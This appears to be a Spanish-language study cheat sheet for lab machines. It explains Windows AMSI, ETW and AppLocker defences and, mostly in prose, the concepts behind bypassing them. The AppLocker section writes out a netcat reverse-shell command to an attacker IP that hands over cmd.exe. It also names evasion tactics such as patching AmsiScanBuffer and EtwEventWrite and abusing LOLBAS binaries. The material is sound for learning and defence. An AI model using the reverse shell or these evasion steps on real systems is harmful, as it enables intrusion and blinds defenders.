Evasión explicada: AMSI, ETW y AppLocker
Esta chuleta es de referencia: explica los mecanismos de defensa de Windows y los conceptos de bypass que se estudian, con comandos para comprobar en qué estado estás y enlaces a las máquinas donde aparecen. No es un kit de evasión listo para saltarse un EDR real.
AMSI
AMSI (Antimalware Scan Interface) es la tubería por la que PowerShell, los scripts y las macros pasan su contenido al antivirus antes de ejecutarlo. Por eso una reverse shell en texto plano se bloquea aunque no toque el disco.
Practícalo en: APTMultimasterPivotAPI
Cómo funciona
# amsi.dll -> AmsiScanBuffer() -> antivirus. Si devuelve AMSI_RESULT_DETECTED, el host corta la ejecución.
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
Es la cadena oficial de prueba de Microsoft (como EICAR). Si PowerShell la bloquea, AMSI funciona. No hace nada.
Ideas de bypass (conceptos)
Explicadas para que entiendas por qué funcionan y por qué Defender actual detecta las versiones públicas. En un examen o pentest tendrás que adaptarlas.
# Poner a valor no nulo el campo 'amsiInitFailed' por reflexión hace que AMSI se dé por roto y no escanee esa sesión. La firma literal lleva años detectada: hay que ofuscarla.
# Sobrescribir el principio de AmsiScanBuffer para que siempre devuelva 'limpio'. Es lo que hace la mayoría de loaders; el EDR vigila justo esa escritura.
# AMSI está en el host del script. Ejecutar un binario .NET propio, C o un lenguaje sin integración con AMSI esquiva el problema de raíz.
Qué lo detecta
# Aunque saltes AMSI, PowerShell puede registrar el script ya decodificado en el visor de eventos. La evasión real tiene que apagar también ETW (pestaña siguiente).
ETW
ETW (Event Tracing for Windows) es el sistema de telemetría del que beben los EDR: carga de ensamblados .NET, llamadas sospechosas, PowerShell... Cegarlo quita visibilidad al defensor.
Practícalo en: APT
Cómo funciona
# Microsoft-Windows-PowerShell y Microsoft-Windows-DotNETRuntime son los más usados para cazar ataques en memoria.
logman query providers | findstr /i "powershell dotnet"
logman query -ets
Idea de bypass (concepto)
# La técnica pública parchea EtwEventWrite en ntdll para que retorne de inmediato: deja de emitirse telemetría de ese proceso. Como con AMSI, el parche en caliente de ntdll es justo lo que un buen EDR vigila.
AppLocker / CLM
AppLocker decide qué ejecutables y scripts puede lanzar un usuario. Cuando está activo para PowerShell, fuerza el modo de lenguaje restringido (Constrained Language Mode), que quita casi todo lo ofensivo del lenguaje.
Practícalo en: SniperReelReel2AccessGiddySizzle
¿Estoy limitado?
$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage = estás limitado; FullLanguage = libre.
Get-AppLockerPolicy -Effective -Xml
Por dónde se escapa (conceptos)
El fallo casi siempre es una carpeta permitida donde el usuario puede escribir, o un binario de confianza que ejecuta código (LOLBAS).
# C:\Windows\Tasks, C:\Windows\Temp\<subcarpetas>, C:\Windows\System32\spool\drivers\color. Si una regla permite C:\Windows\* y puedes escribir ahí, puedes ejecutar.
# Es la lección de Sniper: en modo restringido el one-liner de PowerShell no corre, pero un nc.exe subido a una carpeta permitida sí.
nc.exe 10.10.14.5 443 -e cmd.exe
# InstallUtil.exe, MSBuild.exe, regsvr32.exe, rundll32.exe: binarios firmados por Microsoft que ejecutan código y suelen estar en la lista blanca. Busca en lolbas-project.github.io.
Ningún comando coincide.